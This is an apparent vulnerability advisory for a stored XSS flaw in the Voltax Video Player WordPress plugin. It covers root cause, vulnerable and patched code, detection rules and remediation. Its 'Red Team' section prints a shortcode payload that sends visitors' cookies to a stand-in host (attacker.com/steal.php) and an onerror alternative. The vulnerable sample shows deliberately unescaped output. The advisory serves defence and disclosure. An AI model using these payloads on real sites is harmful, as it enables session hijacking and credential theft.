CVE-2025-6539
Executive Summary
CVE-2025-6539 is a Stored Cross-Site Scripting (XSS) vulnerability in the Voltax Video Player plugin for WordPress, affecting all versions up to and including 1.6.5. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) accesses a page containing the malicious payload, the script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authenticated access but the potential for significant impact due to stored persistence.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
The Voltax Video Player plugin is distributed via the official WordPress plugin repository. No open-source patch data (OSV) or GitHub advisory is available, indicating the vendor has not yet released a fix. Users should monitor the plugin’s update channel and consider disabling the plugin until a patch is applied.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires Contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit the injected page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit once an attacker gains Contributor access. In shared WordPress environments, this poses a significant risk.
Deep Dive & Mechanics
The vulnerability exists in the voltax-video-player plugin’s shortcode or AJAX handler that processes the id parameter. The plugin fails to sanitize user-supplied input before storing it in the WordPress database (e.g., post meta or custom table). When the stored value is later rendered on a page, it is not escaped, allowing HTML/JavaScript injection.
Attack Flow:
- An authenticated user with Contributor-level privileges creates or edits a post/page.
- The attacker inserts a malicious payload into the
idparameter of the Voltax Video Player shortcode (e.g.,[voltax_player id="<script>alert('XSS')</script>"]). - The plugin stores the unsanitized payload in the database.
- When any user (including admins) views the page, the script executes in their browser.
Root Cause: Lack of esc_attr() or wp_kses() on the id parameter before output, combined with insufficient validation on input.
Vulnerable vs. Patched Code
Vulnerable Code (example from version 1.6.5):
// In voltax-video-player.php or shortcode handler
function voltax_player_shortcode($atts) {
$id = $atts['id']; // No sanitization
return '<div class="voltax-player" data-id="' . $id . '"></div>'; // No escaping
}
Patched Code (hypothetical fix):
function voltax_player_shortcode($atts) {
$id = isset($atts['id']) ? sanitize_text_field($atts['id']) : '';
return '<div class="voltax-player" data-id="' . esc_attr($id) . '"></div>';
}
The patch uses sanitize_text_field() on input and esc_attr() on output to prevent XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Voltax Video Player <= 1.6.5.
- User account with Contributor-level privileges.
Step-by-Step Exploit:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- Insert the Voltax shortcode with a malicious payload:
[voltax_player id="<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"] - Publish or save the post.
- Wait for an admin or other user to view the post. The script executes, exfiltrating cookies.
Alternative Payload (Stealth):
[voltax_player id="<img src=x onerror=alert('XSS')>"]
Blue Team (Detection & Prevention)
Detection:
- Monitor for posts containing
<script>tags in shortcode parameters. - Use Web Application Firewall (WAF) rules to block XSS patterns in POST data.
- Review WordPress logs for unusual shortcode usage.
Prevention:
- Disable the plugin until a patch is available.
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/voltax-video-player/voltax-video-player.php(version <= 1.6.5) - Database: Posts/pages containing shortcodes with
<script>oronerrorattributes in theidparameter. - Network: Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal.php). - Logs: WordPress debug logs showing unexpected shortcode parameters.
Detection Engineering
YARA Rule
rule CVE_2025_6539_Voltax_XSS {
meta:
description = "Detects Voltax Video Player plugin files with unsanitized id parameter"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6539"
strings:
$vuln_func = /data-id="\s*\$id\s*"/ nocase
$vuln_shortcode = /\[voltax_player\s+id\s*=\s*["'][^"']*<script/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-6539 - Stored XSS via Voltax Video Player
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via the id parameter in Voltax Video Player shortcode
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/post.php'
http.body|contains|all:
- '[voltax_player'
- 'id='
- '<script'
condition: selection
falsepositives:
- Legitimate use of script tags in shortcodes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-6539 - Voltax Video Player Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[voltax_player"; http_client_body; content:"id="; http_client_body; pcre:"/<script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the Voltax Video Player plugin until a patched version is released.
- Short-term: Restrict Contributor-level accounts to trusted users only. Implement a Web Application Firewall (WAF) with XSS rules.
- Long-term: Apply the vendor patch when available. For custom development, ensure all shortcode parameters are sanitized with
sanitize_text_field()and escaped withesc_attr(). - Monitoring: Enable WordPress audit logging to track shortcode modifications. Review posts for suspicious content.
Valters IT – Securing WordPress ecosystems one CVE at a time.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.